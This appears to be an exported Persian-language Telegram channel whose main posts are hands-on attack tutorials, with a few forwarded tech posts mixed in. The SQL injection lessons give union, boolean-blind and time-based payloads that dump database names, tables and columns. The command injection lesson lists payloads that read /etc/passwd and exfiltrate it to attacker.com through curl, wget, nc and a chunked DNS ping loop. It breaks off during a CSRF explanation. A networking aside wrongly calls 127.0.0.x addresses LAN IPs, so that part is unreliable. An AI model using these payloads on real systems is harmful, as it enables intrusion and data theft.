💭Union based:
🔥ببینید وقتی شما request میزنید به یک URL سه تا حالت داره : ( اگر با SQL در تعامل باشه )
1_ اینکه یه جوابی به شما برگردونه
(مثلا در خرید از یه کتاب فروشی ، به شما بگه چند تا از این کتاب موجود هست )
2_اینکه یه نتیجه ای از جواب رو به شما برگردونه
(مثلا در همون مثال بالا به شما به جای اینکه تعداد بگه فقط بگه این کتاب رو موجود داره یا خیر )
3_ اینکه هیج نتیجه ای به شما بر نگردونه.
(مثلا شما یه درخواست GET یا POST ارسال کردین و حالا web site از شما میخواد که اجازه بهش بدین ip , cookie , user Agent, .. ذخیره کنه و در غیر این صورت اجازه کار با سایت رو نخواهید داشت.
چطوری بفهمیم Union داریم ؟
اگه URL این باشه:
چنین Query میزنه به database :
حالا برای تشخیص اینکه آیا Union هست یا نه داریم :
در بالا اگر :
و همچنین
شد میفهمیم Union داریم (:
حالا چطوری اطلاعات رو استخراج کنیم ؟
گام اول بدست آوردن تعداد column هاست
و میتوانیم به صورت زیر پیدا کنیم :
پس میفهمیم 3 تا column داریم
حالا با :
میتونیم اون column که به ما برمیگردونه رو پیدا کرده و توش Payload ها خودمون رو اجرا کنیم برای بدست آوردن data :
مثلا برای بدست آوردن نام database :
(اگر column سوم رو برگردونه )
برای گرفتن table های یک database:
برای بدست آوردن column های یک database و یک table :
و برای بدست آوردن data یک column داریم :
#SQLI
🔥ببینید وقتی شما request میزنید به یک URL سه تا حالت داره : ( اگر با SQL در تعامل باشه )
1_ اینکه یه جوابی به شما برگردونه
(مثلا در خرید از یه کتاب فروشی ، به شما بگه چند تا از این کتاب موجود هست )
2_اینکه یه نتیجه ای از جواب رو به شما برگردونه
(مثلا در همون مثال بالا به شما به جای اینکه تعداد بگه فقط بگه این کتاب رو موجود داره یا خیر )
3_ اینکه هیج نتیجه ای به شما بر نگردونه.
(مثلا شما یه درخواست GET یا POST ارسال کردین و حالا web site از شما میخواد که اجازه بهش بدین ip , cookie , user Agent, .. ذخیره کنه و در غیر این صورت اجازه کار با سایت رو نخواهید داشت.
چطوری بفهمیم Union داریم ؟
اگه URL این باشه:
https://site.com?news=22
چنین Query میزنه به database :
select * from news where news_id = $newsid ;
select * from news where news_id = '$newsid' ;
select * from news where news_id =" $newsid " ;
حالا برای تشخیص اینکه آیا Union هست یا نه داریم :
با order by میشه تعداد column های یک database رو استخراج کرد.
Default request:
page/?id=54
Test 1 :
page/?id=54 order by 1
page/?id=54' order by 1 #
page/?id=54" order by 1 #
Test 2 :
page/?id=54 order by 1000
page/?id=54' order by 1000#
page/?id=54" order by 1000#
در بالا اگر :
Default == Test 1
و همچنین
Test 1 != Test 2
شد میفهمیم Union داریم (:
حالا چطوری اطلاعات رو استخراج کنیم ؟
گام اول بدست آوردن تعداد column هاست
و میتوانیم به صورت زیر پیدا کنیم :
page/?id=54 order by 1 # same as default request
page/?id=54 order by 2 # same as default request
page/?id=54 order by 3 # same as default request
page/?id=54 order by 4 # not same as Default
پس میفهمیم 3 تا column داریم
حالا با :
page/?id=54 union select 1,2,3 #
میتونیم اون column که به ما برمیگردونه رو پیدا کرده و توش Payload ها خودمون رو اجرا کنیم برای بدست آوردن data :
مثلا برای بدست آوردن نام database :
(اگر column سوم رو برگردونه )
page/?id=54 union select 1,2,database()#
برای گرفتن table های یک database:
page/?id=54 UNION SELECT table_name FROM information_schema.tables WHERE table_schema = 'your_database_name' --
برای بدست آوردن column های یک database و یک table :
UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'your_table_name' AND table_schema = 'your_database_name' --
و برای بدست آوردن data یک column داریم :
UNION SELECT your_column_name FROM your_table_name LIMIT 1 OFFSET 0 --
#SQLI
👏5
Forwarded from VPN CLUB
هر وقت یه ابزار کاربردی و جالب پیدا میکنم، دوست دارم با شما هم به اشتراک بذارم. ولی وقتی این ابزار به حریم شخصی هم اهمیت بده و متنباز هم باشه که دیگه عالی میشه!
چند هفتهای هست که از نرمافزار LocalSend استفاده میکنم و واقعا راضیم. این نرمافزار به شما اجازه میده که ویدیو، عکس، متن، یادداشت یا فایلهای دیگه رو بین دستگاههایی که به یک وایفای وصلن، رد و بدل کنید. شاید خیلی انقلابی نباشه، اما از چیزی که فکر میکنید کاربردیتره.
خیلی وقتها ما از چتهایی مثل تلگرام برای رد و بدل کردن فایلها و متنها بین دستگاههای مختلف (مثلاً فرستادن آدرس بیتکوین از کامپیوتر به گوشی) استفاده میکنیم که اصلا خوب نیست چون حریم شخصیمون رو به خطر میندازه. LocalSend یه راه راحت و سریع برای حل این مشکل و حفظ حریم شخصیه.
به نظر من، تجربه کاربری این نرمافزار خیلی خوبه. همیشه درست کار میکنه و هیچ باگی نداره. سرعت انتقال فایلهاش هم فوقالعادهست (چون توی شبکهی محلی هست، میتونید فیلمهای 4K چند گیگابایتی رو خیلی سریع انتقال بدید).
iOS, Android , windows, linux, mac
https://localsend.org/download
#اوپن_سورس
چند هفتهای هست که از نرمافزار LocalSend استفاده میکنم و واقعا راضیم. این نرمافزار به شما اجازه میده که ویدیو، عکس، متن، یادداشت یا فایلهای دیگه رو بین دستگاههایی که به یک وایفای وصلن، رد و بدل کنید. شاید خیلی انقلابی نباشه، اما از چیزی که فکر میکنید کاربردیتره.
خیلی وقتها ما از چتهایی مثل تلگرام برای رد و بدل کردن فایلها و متنها بین دستگاههای مختلف (مثلاً فرستادن آدرس بیتکوین از کامپیوتر به گوشی) استفاده میکنیم که اصلا خوب نیست چون حریم شخصیمون رو به خطر میندازه. LocalSend یه راه راحت و سریع برای حل این مشکل و حفظ حریم شخصیه.
به نظر من، تجربه کاربری این نرمافزار خیلی خوبه. همیشه درست کار میکنه و هیچ باگی نداره. سرعت انتقال فایلهاش هم فوقالعادهست (چون توی شبکهی محلی هست، میتونید فیلمهای 4K چند گیگابایتی رو خیلی سریع انتقال بدید).
iOS, Android , windows, linux, mac
https://localsend.org/download
#اوپن_سورس
👍1👏1
VPN CLUB
هر وقت یه ابزار کاربردی و جالب پیدا میکنم، دوست دارم با شما هم به اشتراک بذارم. ولی وقتی این ابزار به حریم شخصی هم اهمیت بده و متنباز هم باشه که دیگه عالی میشه! چند هفتهای هست که از نرمافزار LocalSend استفاده میکنم و واقعا راضیم. این نرمافزار به شما…
ببینید کلا شبکه از نظر ابعاد جغرافیایی چند دسته میشه
اولیش Lan : یه شبکه کوچیک که میتونه خانگی باشه یا شهری
دومیش Man هس که یه لول میشه گف سطح ارتباطش بیشتره
و آخریش هم Wan هست که یه نوع ارتباط با استفاده از internet و متصل شدن به شبکه جهانیه
حالا اگه بخوایم از لحاظ نوع کار کردن واقعی شبکه بگیم
کلا دو نوع ارتباط دارن
که میتونه work group باشه یا domain باشه
تویه work group چند تا دستگاه مختلف تویه یک محیط Lan به هم دیگه وصل میشن
که میشه از طریق internet باشه یا Ethernet ( مثلا از طریق کابل شبکه ).
بخوام مثال واقعی بزنم تویه کلوپ ها( گیم نت)
یه سری دسته داره که اینا work group میشن به تلویزیونی که داره و حالا اون دسته ها رو شناسایی میکنه و یا میشه تلویزیون ها به هم وصل بشن که تمام اطلاعات با هم دیگه مچ بشن ( مثلا یه بازی که رویه یکی نصبه دیگه نخوایم رویه اون یکی هم نصب کنیم)
دومیش domain هس که همه سیستم ها وصل میشن به internet و حالا تویه محیط Wan با هم دیگه ارتباط دارن و تفاوت مهمی که داره اینه که یه سرور مرکزی هست که user های مختلف رو زیر نظر داره و سطح دسترسی های مختلفی رو مشخص میکنه .
حالا بعد این همه توضیح این برنامه چیکار میکنه؟ (: (مثلا من میخوام یه فایل از گوشیم رویه لپ تاپم بریزم )
این برنامه یه محیط Lan در یک ارتباط work group درست میکنه با استفاده از wi-fi
چطوری ؟
خود مودم یه ip پابلیک داره که یونیک هست ولی یک ip لوکال هم داره که برای شبکه کردن تویه Local هس مثلا ( 127.0.0.0).
حالا وقتی وصل میشیم به wi-fi به گوشی من یه ip میده ( 127.0.0.1 ) و به لپ تاپ یه ip که ( 127.0.0.2 ) هست و اینطوری میشه که گوشی و لپ تاپ میتونن در یک سیستم محلی به هم وصل بشن و همو شناسایی کنن و بتونن با هم اطلاعات به اشتراک بزارن (:
اولیش Lan : یه شبکه کوچیک که میتونه خانگی باشه یا شهری
دومیش Man هس که یه لول میشه گف سطح ارتباطش بیشتره
و آخریش هم Wan هست که یه نوع ارتباط با استفاده از internet و متصل شدن به شبکه جهانیه
حالا اگه بخوایم از لحاظ نوع کار کردن واقعی شبکه بگیم
کلا دو نوع ارتباط دارن
که میتونه work group باشه یا domain باشه
تویه work group چند تا دستگاه مختلف تویه یک محیط Lan به هم دیگه وصل میشن
که میشه از طریق internet باشه یا Ethernet ( مثلا از طریق کابل شبکه ).
بخوام مثال واقعی بزنم تویه کلوپ ها( گیم نت)
یه سری دسته داره که اینا work group میشن به تلویزیونی که داره و حالا اون دسته ها رو شناسایی میکنه و یا میشه تلویزیون ها به هم وصل بشن که تمام اطلاعات با هم دیگه مچ بشن ( مثلا یه بازی که رویه یکی نصبه دیگه نخوایم رویه اون یکی هم نصب کنیم)
دومیش domain هس که همه سیستم ها وصل میشن به internet و حالا تویه محیط Wan با هم دیگه ارتباط دارن و تفاوت مهمی که داره اینه که یه سرور مرکزی هست که user های مختلف رو زیر نظر داره و سطح دسترسی های مختلفی رو مشخص میکنه .
حالا بعد این همه توضیح این برنامه چیکار میکنه؟ (: (مثلا من میخوام یه فایل از گوشیم رویه لپ تاپم بریزم )
این برنامه یه محیط Lan در یک ارتباط work group درست میکنه با استفاده از wi-fi
چطوری ؟
خود مودم یه ip پابلیک داره که یونیک هست ولی یک ip لوکال هم داره که برای شبکه کردن تویه Local هس مثلا ( 127.0.0.0).
حالا وقتی وصل میشیم به wi-fi به گوشی من یه ip میده ( 127.0.0.1 ) و به لپ تاپ یه ip که ( 127.0.0.2 ) هست و اینطوری میشه که گوشی و لپ تاپ میتونن در یک سیستم محلی به هم وصل بشن و همو شناسایی کنن و بتونن با هم اطلاعات به اشتراک بزارن (:
👏3
/dev/null
ببینید کلا شبکه از نظر ابعاد جغرافیایی چند دسته میشه اولیش Lan : یه شبکه کوچیک که میتونه خانگی باشه یا شهری دومیش Man هس که یه لول میشه گف سطح ارتباطش بیشتره و آخریش هم Wan هست که یه نوع ارتباط با استفاده از internet و متصل شدن به شبکه جهانیه حالا اگه بخوایم…
گفتم بد نیست یه چیزیو که استفاده میکنین بدونین پشت صحنه چه خبره 🦦
❤4
Blind based injection :
این نوع injection زمانی اتفاق میوفته که جواب response رو به طور دقیق نداشته باشیم ینی یا نتیجه ای از جواب یا هیچ جوابی برای ما نیاد .
Boolean based injection:
این نوع injection برای حالت اول است . ینی یه نتیجه ای جواب داشته باشیم.
اولین چیزی که باید بدونیم و از اسمش پیداست boolean بودن اون هست . ینی
شناسایی boolean based :
( مثل union based هس )
و حالا باید response هایی که میگیرین به این شکل باشه :
حالا چطوری تعداد ستون رو مشخص کنیم ؟
( مثل union based ) داریم :
از ارور آخر متوجه خواهیم شد که سه تا ستون داریم .
و حالا برای پیدا کردن ستونی که داخلش میشه Payload ها رو تست کرد داریم:
خب حالا اینجاس که دیگه فرقش با union based مشخص میشه و دیگه به عنوان مثال :
جواب نمیده بهمون و به همین آسونی نمیشه اسم database رو پیدا کرد .
خب حالا راهکارش چیه؟
استفاده از true , false بودن response که بهمون بر میگرده .
(ببینید منظور از true و false بودن response اینه که response دیفالت و اصلی رو بگیرین true و هر چی غیر از اون بود false در نظر بگیرین .)
اگه بیایم تویه Payload که بالا واستون نوشتم و گفتم کار نمیکنه ، الان بیایم جای database بنویسیم :
از ارور آخر متوجه میشیم که طول databaseسه بوده.
حالا میریم برای پیدا کردن اسم database:
پس حرف اول دیتابیس s هست و حالا همینطور برای بقیه حروف هم میشه تست کرد.( باید یه برنامه پایتونی بنویسید که این کارو انجام بده واستون 🦦 )
خب حالا میریم سراغ table name :
فرض کنیم اسم database رو بدست آوردیم users .
و اینجا فهمیدیم که طول table name هم 3 هست .
حالا برای اسم table ها :
پس اولین کاراکتر u هست .
و کاراکتر دوم s هست
و به همین ترتیب ادامه میدهیم هم برای کامل کردن اسم table .
برای column ها هم داریم : ( فرض کنید database name = users , table-name = username شده .
و همین کار هارو برای پیدا کردن data هم انجام میدهیم ((:
#SQLI
این نوع injection زمانی اتفاق میوفته که جواب response رو به طور دقیق نداشته باشیم ینی یا نتیجه ای از جواب یا هیچ جوابی برای ما نیاد .
Boolean based injection:
این نوع injection برای حالت اول است . ینی یه نتیجه ای جواب داشته باشیم.
اولین چیزی که باید بدونیم و از اسمش پیداست boolean بودن اون هست . ینی
True or False شناسایی boolean based :
( مثل union based هس )
Default request:
page/?id=54
Test 1 :
page/?id=54 order by 1
page/?id=54' order by 1 #
page/?id=54" order by 1 #
Test 2 :
page/?id=54 order by 1000
page/?id=54' order by 1000#
page/?id=54" order by 1000#
و حالا باید response هایی که میگیرین به این شکل باشه :
Default == Test 1Test 1 != Test 2حالا چطوری تعداد ستون رو مشخص کنیم ؟
( مثل union based ) داریم :
page/?id=54 order by 1 # same as default request
page/?id=54 order by 2 # same as default request
page/?id=54 order by 3 # same as default request
page/?id=54 order by 4 # not same as Default
از ارور آخر متوجه خواهیم شد که سه تا ستون داریم .
و حالا برای پیدا کردن ستونی که داخلش میشه Payload ها رو تست کرد داریم:
page/?id = 54 union select 1,2,3--خب حالا اینجاس که دیگه فرقش با union based مشخص میشه و دیگه به عنوان مثال :
page/?id=54 union select 1,2,database()--
جواب نمیده بهمون و به همین آسونی نمیشه اسم database رو پیدا کرد .
خب حالا راهکارش چیه؟
استفاده از true , false بودن response که بهمون بر میگرده .
(ببینید منظور از true و false بودن response اینه که response دیفالت و اصلی رو بگیرین true و هر چی غیر از اون بود false در نظر بگیرین .)
اگه بیایم تویه Payload که بالا واستون نوشتم و گفتم کار نمیکنه ، الان بیایم جای database بنویسیم :
page/?id=45 union select 1,2,3 where 1=IF( (SELECT LENGTH(DATABASE()))>1,1,2)--- # True condition
page/?id=45 union select 1,2,3 where 1=IF( (SELECT LENGTH(DATABASE()))>2,1,2)--- # True condition
page/?id=45 union select 1,2,3 where 1=IF( (SELECT LENGTH(DATABASE()))>3,1,2)--- # True condition
page/?id=45 union select 1,2,3 where 1=IF( (SELECT LENGTH(DATABASE()))>4,1,2)--- # True condition
از ارور آخر متوجه میشیم که طول database
حالا میریم برای پیدا کردن اسم database:
page/?id=54 union select 1,2,3 where database() like 's%';--
# True condition
پس حرف اول دیتابیس s هست و حالا همینطور برای بقیه حروف هم میشه تست کرد.( باید یه برنامه پایتونی بنویسید که این کارو انجام بده واستون 🦦 )
خب حالا میریم سراغ table name :
فرض کنیم اسم database رو بدست آوردیم users .
page/?id=54 union select 1,2,3 where 1=IF(SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name = 'users') = 1,1,0)-- #true
page/?id=54 union select 1,2,3 where 1=IF(SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name = 'users') = 2,1,0)-- #true
page/?id=54 union select 1,2,3 where 1=IF(SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name = 'users') = 3,1,0)-- #true
page/?id=54 union select 1,2,3 where 1=IF(SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name = 'users') = 4,1,0)-- #false
و اینجا فهمیدیم که طول table name هم 3 هست .
حالا برای اسم table ها :
page/?id=54 union select 1,2,3 where 1=IF (SELECT SUBSTRING(table_name, 1, 1) FROM information_schema.tables WHERE table_name = 'users') = 'u',1,0) -- #true
پس اولین کاراکتر u هست .
page/?id=54 union select 1,2,3 where 1=IF (SELECT SUBSTRING(table_name, 2, 1) FROM information_schema.tables WHERE table_name = 'users') = 's',1,0) -- #true
و کاراکتر دوم s هست
و به همین ترتیب ادامه میدهیم هم برای کامل کردن اسم table .
برای column ها هم داریم : ( فرض کنید database name = users , table-name = username شده .
page/?id=54 union select 1,2,3 where 1=IF(SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name = 'users' AND column_name = 'username') > 2,1,0) --#true
page/?id=54 union select 1,2,3 where 1=IF(SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name = 'users' AND column_name = 'username') > 3,1,0) --#false
و همین کار هارو برای پیدا کردن data هم انجام میدهیم ((:
#SQLI
❤🔥4👏2
Time based injection :
ببینید Time based injection هم نوعی از blind based هست و زمانی اتفاق میوفته که هیچ جوابی و هیچ نتیجه ای جواب برنگردونه.
پیلود هاش هم دقیقا مثل بالاست فقط هر جا که از شرط استفاده کردم ( IF ) ، برای True بودن شرط باید از sleep(10) استفاده کنیم .
یعنی یه چنین چیزی :
کلا تویه این injection وقتی خواستین تفاوت true بودن یا false بودن response رو بفهمین از sleep استفاده کنین چون کلا در time based سرور به جای اینکه به شما اطلاعاتی بده داره از شما اطلاعات میگیره مثل ip , cookie و ... که قبلا گفتم راجبش .
حالا شما میتونین تعیین کنین که تویه این فلان زمان مشحض طول بکشه برای ارسال اطلاعات و حالا اگر سرور اسیب پذیر باشه نسبت به sql واکنش نشون میده و میشه یه تارگت ورود برای شما (:
#SQLI
ببینید Time based injection هم نوعی از blind based هست و زمانی اتفاق میوفته که هیچ جوابی و هیچ نتیجه ای جواب برنگردونه.
پیلود هاش هم دقیقا مثل بالاست فقط هر جا که از شرط استفاده کردم ( IF ) ، برای True بودن شرط باید از sleep(10) استفاده کنیم .
یعنی یه چنین چیزی :
page/?id=54 UNION SELECT 1, IF((SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name = 'users' AND column_name = 'username') > 3, SLEEP(5), 0) --
کلا تویه این injection وقتی خواستین تفاوت true بودن یا false بودن response رو بفهمین از sleep استفاده کنین چون کلا در time based سرور به جای اینکه به شما اطلاعاتی بده داره از شما اطلاعات میگیره مثل ip , cookie و ... که قبلا گفتم راجبش .
حالا شما میتونین تعیین کنین که تویه این فلان زمان مشحض طول بکشه برای ارسال اطلاعات و حالا اگر سرور اسیب پذیر باشه نسبت به sql واکنش نشون میده و میشه یه تارگت ورود برای شما (:
#SQLI
👏5
خب آقا تبریک ، sql injection تموم شد 🦦❤️
(البته بیشتر از Payload هاش براتون بعد میزارم)
(البته بیشتر از Payload هاش براتون بعد میزارم)
❤🔥5🔥1
Forwarded from Linuxor ?
به جزئی از سیستم که همه اجزا به اون وابسته ان و در صورت خرابی، کل سیستم از بین میره، SPOF یا نقطه شکست میگن
جالب اینجاست پیدا کردن SPOF توی یه سیستم کار ساده ای نیست و ممکنه آشکار نباشه که با ریداندنسی و بالانسینگ بین اجزا میشه SPOF رو کاهش داد
مثلا سیستم های ارزی و بانکی تعداد زیادی سرور دارن که به صورت تکراری داده هارو توش بکاپ میگیرن و حتی نیازه که سرور های بکاپ هم تراکنش هارو commit کنن تا حتی یک ثانیه سرور اصلی قطع شه هیچ تراکنشی بلاتکلیف نشه
🐧 @Linuxor
جالب اینجاست پیدا کردن SPOF توی یه سیستم کار ساده ای نیست و ممکنه آشکار نباشه که با ریداندنسی و بالانسینگ بین اجزا میشه SPOF رو کاهش داد
مثلا سیستم های ارزی و بانکی تعداد زیادی سرور دارن که به صورت تکراری داده هارو توش بکاپ میگیرن و حتی نیازه که سرور های بکاپ هم تراکنش هارو commit کنن تا حتی یک ثانیه سرور اصلی قطع شه هیچ تراکنشی بلاتکلیف نشه
🐧 @Linuxor
👏1
command injection : ( OS command execute )
در این نوع injection به دلیل اینکه web server دسترسی مستقیم به shell داره و میتونه یه سری اطلاعات رو رویه shell ذخیره کنه این آسیب پذیری رخ میده. مثلا برای آپلود کردن تصاویر یا convert کردن ویدیو یا ذخیره کردن email , ...
ما دو نوع command injection داریم:
1_ normal command injection
در این نوع مثل union based injection ها که قبلا گفتم یه response مستقیم از request که میزنیم داریم .
مرحله Detect کردن :
هر جایی که بشه یه سری اطلاعات رو ذخیره کرد مثل email , comment , name , ... میتونه محل مناسبی برای تست آسیب پذیری باشه .
مرحله Exploit کردن :
چطوری میشه اون رو Exploit کرد؟
بزارید یه شبیه سازی از سناریو بکنم براتون
فرض کنین یه سایت دارم یه هر host که شما بدین براتون ping میکنه
خب ینی کلا چیکار داره میکنه؟
پس داره یه دستور سیستم عاملی اجرا میکنه .
اگه با Linux کار کرده باشین میشه دو تا command رو همزمان اجرا برای این کار اول باید دستور اول break بشه و بعد دستور بعدی اجرا بشه
پس داریم :
با اجرا این دستور میتونیم کل دیتا passwd رو بخونیم (:
یه سری payload که میتونین استفاده کنین ( اگه دقت کنین تویه همش break رو داریم به روش های مختلف)
2_ blind command injection
در بعضی شرایط ما هیچ response نداریم و حالا باید با استفاده از تریک های blind دیتا بدست بیاریم .
چطوری Detect کنیم ؟
با اجرای این دستور باید 10 ثانیه به حالت sleep بره و در این صورت متوجه میشیم blind داریم .
چطوری Exploit کنیم ؟
میتونم از تکنیک out of band استفاده کنیم .
یعنی بیایم به جای اینکه اطلاعات داخل شبکه ی بین خود سرور رد و بدل بشه ، بیایم بهش بگیم یه request بزن به سرور خودمون و حالا که response درون سرور خودت بهم نشون نمیدی به سرور من نشون بده برای همین بهش میگن out of band ینی خارج از محدوده شبکه .
خب چطوری این کارو بکنیم ؟
کافیه به جای اون parameter آسیب پذیر بیایم و یه request که میتونه تحت پروتکل HTTP یا DNS باشه رو بهش بزنیم .
مثلا تویه همون مثال بالا که زدم :
الان بیایم یه HTTP request با curl بهش بزنیم :
الان اگه log های HTTP خودمون رو نگا کنیم اطلاعات passwd برای ما ارسال شده 🦦
خب اگه بخوایم بیشتر در بدونیم در مورد فرستادن data با DNS , HTTP داریم که :
مثلا اگه بخوایم با HTTP دیتا بفرستیم با دستورات curl , wget, nc میتونیم این کارو بکنیم :
و اگه بخوایم با DNS این کارو انجام بدیم میتونیم از دستوراتی مثل ping , dig , host استفاده کنیم :
فقط یه چیز دیگه میمونه اینکه ما بیشتر از 255 بایت نمیتونیم با DNS دیتا ارسال کنیم مثلا فرض کنین میخوایم دیتا /etc/passwd رو ارسال کنیم که قطعاا بیشتر از 255 بایت هست خب باید چیکار کنیم؟
باید قطعه قطعه دیتا ارسال کنیم . ینی یه loop درست کنیم و بعد دیتا هارو تیکه تیکه بدیم بیرون ، مثلا در ping داریم :
و بعد با این command دیتا ارسال شده رو سرهم کنیم (کلمه بهتری الان به ذهنم نمیرسه🦦 )
#command_injection
در این نوع injection به دلیل اینکه web server دسترسی مستقیم به shell داره و میتونه یه سری اطلاعات رو رویه shell ذخیره کنه این آسیب پذیری رخ میده. مثلا برای آپلود کردن تصاویر یا convert کردن ویدیو یا ذخیره کردن email , ...
ما دو نوع command injection داریم:
1_ normal command injection
در این نوع مثل union based injection ها که قبلا گفتم یه response مستقیم از request که میزنیم داریم .
مرحله Detect کردن :
هر جایی که بشه یه سری اطلاعات رو ذخیره کرد مثل email , comment , name , ... میتونه محل مناسبی برای تست آسیب پذیری باشه .
مرحله Exploit کردن :
چطوری میشه اون رو Exploit کرد؟
بزارید یه شبیه سازی از سناریو بکنم براتون
فرض کنین یه سایت دارم یه هر host که شما بدین براتون ping میکنه
http://example.com/ping?host=example.comخب ینی کلا چیکار داره میکنه؟
ping $input_user پس داره یه دستور سیستم عاملی اجرا میکنه .
اگه با Linux کار کرده باشین میشه دو تا command رو همزمان اجرا برای این کار اول باید دستور اول break بشه و بعد دستور بعدی اجرا بشه
پس داریم :
http://example.com/ping?host=example.com ; cat /etc/passwd با اجرا این دستور میتونیم کل دیتا passwd رو بخونیم (:
یه سری payload که میتونین استفاده کنین ( اگه دقت کنین تویه همش break رو داریم به روش های مختلف)
; cat /etc/passwd
&& cat /etc/passwd
| cat /etc/passwd
|| cat /etc/passwd
` cat /etc/passwd
$(cat /etc/passwd)
{cat ,/etc/passwd}
cat$IFS/etc/passwd
cat ${HOME:0:1}etc${HOME:0:1}passwd
2_ blind command injection
در بعضی شرایط ما هیچ response نداریم و حالا باید با استفاده از تریک های blind دیتا بدست بیاریم .
چطوری Detect کنیم ؟
http://example.com/ping?host=example.com ; ping -c 10 127.0.0.1 با اجرای این دستور باید 10 ثانیه به حالت sleep بره و در این صورت متوجه میشیم blind داریم .
چطوری Exploit کنیم ؟
میتونم از تکنیک out of band استفاده کنیم .
یعنی بیایم به جای اینکه اطلاعات داخل شبکه ی بین خود سرور رد و بدل بشه ، بیایم بهش بگیم یه request بزن به سرور خودمون و حالا که response درون سرور خودت بهم نشون نمیدی به سرور من نشون بده برای همین بهش میگن out of band ینی خارج از محدوده شبکه .
خب چطوری این کارو بکنیم ؟
کافیه به جای اون parameter آسیب پذیر بیایم و یه request که میتونه تحت پروتکل HTTP یا DNS باشه رو بهش بزنیم .
مثلا تویه همون مثال بالا که زدم :
http://example.com/ping?host=example.com ; ping -c 10 127.0.0.1 الان بیایم یه HTTP request با curl بهش بزنیم :
http://example.com/ping?host=example.com ; curl -s http://attacker.com --data-binary @/etc/passwd الان اگه log های HTTP خودمون رو نگا کنیم اطلاعات passwd برای ما ارسال شده 🦦
خب اگه بخوایم بیشتر در بدونیم در مورد فرستادن data با DNS , HTTP داریم که :
مثلا اگه بخوایم با HTTP دیتا بفرستیم با دستورات curl , wget, nc میتونیم این کارو بکنیم :
curl -s http://attacker.com --data-binary @/etc/passwdwget --method=POST --body-file=/etc/passwd http://attacker.com(cat /etc/passwd; echo) | nc attacker.com 80و اگه بخوایم با DNS این کارو انجام بدیم میتونیم از دستوراتی مثل ping , dig , host استفاده کنیم :
dig TXT attacker.com @dns-server "your-data-here host -t TXT "your-data-here.attacker.com" ping -p 48656c6c6f attacker.com فقط باید تویه ping دیتا به صورت هگزدسیمال ارسال بشه مثلا معادل Hello در هگزدسیمال میشه ( 48656c6c6f ) .
فقط یه چیز دیگه میمونه اینکه ما بیشتر از 255 بایت نمیتونیم با DNS دیتا ارسال کنیم مثلا فرض کنین میخوایم دیتا /etc/passwd رو ارسال کنیم که قطعاا بیشتر از 255 بایت هست خب باید چیکار کنیم؟
باید قطعه قطعه دیتا ارسال کنیم . ینی یه loop درست کنیم و بعد دیتا هارو تیکه تیکه بدیم بیرون ، مثلا در ping داریم :
cat /etc/passwd | od -A n -t x1 | sed 's/ *//g' | while read exfil ; do ping -c 1 $exfil.attacked.com ; done
و بعد با این command دیتا ارسال شده رو سرهم کنیم (کلمه بهتری الان به ذهنم نمیرسه🦦 )
echo "result command" | xxd -r -p
شاید بشه یه راه دومی برای blind ها گف و اون هم آپلود یک کد آسیب پذیر رویه سرور .
چون معمولا سرور ها یک مسیر static برای ذخیره فایل هاشون دارن
( /var/www/path_name)
که اگه آسیب پذیری داشته باشه ما میتونیم اون command خودمون رو با استفاده از یه زبان برنامه نویسی ( php , python ) بزنیم و آپلود کنیم که این میشه ( RCE( remote code execut
#command_injection
👏4❤1
/dev/null
command injection : ( OS command execute ) در این نوع injection به دلیل اینکه web server دسترسی مستقیم به shell داره و میتونه یه سری اطلاعات رو رویه shell ذخیره کنه این آسیب پذیری رخ میده. مثلا برای آپلود کردن تصاویر یا convert کردن ویدیو یا ذخیره کردن email…
خب آقا شاید براتون سوال پیش بیاد چرا خودمون رو اذیت کنیم و حلقه و اینا بزنیم و حالا بیا دیتا رو سرهم کن و اینا
خدمتم بهتون عرض کنه که بعضی جاها اون سرور اصلیه که میخوایم ازش دیتا بکشیم بیرون به Internet دسترسی نداره و فقط پروتکل DNS بازه اونم برای سرور هایی که تویه همون شبکه تعریف شدن برای ارتباط با اون!
پس نیازه برای دسترسی به اون سرور اصلیه از پروتکل DNS استفاده کرد که بهش DNS tunneling هم میگن.🦦❤️
خدمتم بهتون عرض کنه که بعضی جاها اون سرور اصلیه که میخوایم ازش دیتا بکشیم بیرون به Internet دسترسی نداره و فقط پروتکل DNS بازه اونم برای سرور هایی که تویه همون شبکه تعریف شدن برای ارتباط با اون!
پس نیازه برای دسترسی به اون سرور اصلیه از پروتکل DNS استفاده کرد که بهش DNS tunneling هم میگن.🦦❤️
❤🔥4🔥1
Forwarded from Linuxor ?
یه آموزش جامع مهندسی معکوس رایگان که شامل معماری های x86 و x64 و ARM و معماری امبدد RISC-V هستش.
https://github.com/mytechnotalent/Reverse-Engineering
🐧 @Linuxor
https://github.com/mytechnotalent/Reverse-Engineering
🐧 @Linuxor
👍1
csrf ( cross site request forgery ) :
( جعل درخواست از طرف کاربر احراز هویت شده )
میشه گف یه HTTP Request ارسال کنیم از طرف کاربر احراز هویت شده ( ینی قبلا لاگین شده در سایتی که میخوایم روش attack بزنیم)
چطوری میشه از طرف یه کاربر دیگه درخواست ارسال کرد به یه web site ؟
فرض کنین من یه سایتی دارم که تویه بک سایت یه چنین script هست :
حالا وقتی وارد سایت میشه این script لود میشه برای کاربر و حالا از طرف کاربر اما با origin سایت من یه request زده میشه
یه چند تا نکته هس که باید بگم :
1- مفهوم SOP که قبلا درموردش گفتم هنوز هم هست . ولی در اینجا ما اصلا به response نیازی نداریم . در واقع هدف ما change state هس ینی یه تغییری در سایت اتفاق بیوفته نه دسترسی به data های اون .
2- همونطور که در بالا گفتم در مفهوم CSRF باید change state داشته باشیم ( فقط لود کردن صفحه کاربر نشون دهنده CSRF نیست ! )
3- احراز هویت شدن کاربر ( همون لاگین بودن یا نبودن کاربر باید فقط از طریق cookie انجام بشه که cookie هم باید same-site = none باشه ( قبلا درمورد انواعش توضیح دادم )
4- اگه cookie که به ما میداد same-site != none بود باید یه xss ( بعدا در مورد این آسیب پذیری میگم ) در sub domain های سایت داشته باشیم که بتونیم cookie رو هایجک کنیم ( چون دیگه مفهوم SOP معنی نمیده و same origin هستن )
5- یه چیزی که خیلی مهمه و تقریبا باید اولش میگفتم اینه که هر HTTP Request نمیتونه CSRF باشه ( با فرض اینکه چنین چیزایی که تا الان گفتم اوکی بود ) باید دو تا شرط رو داشه باشه :
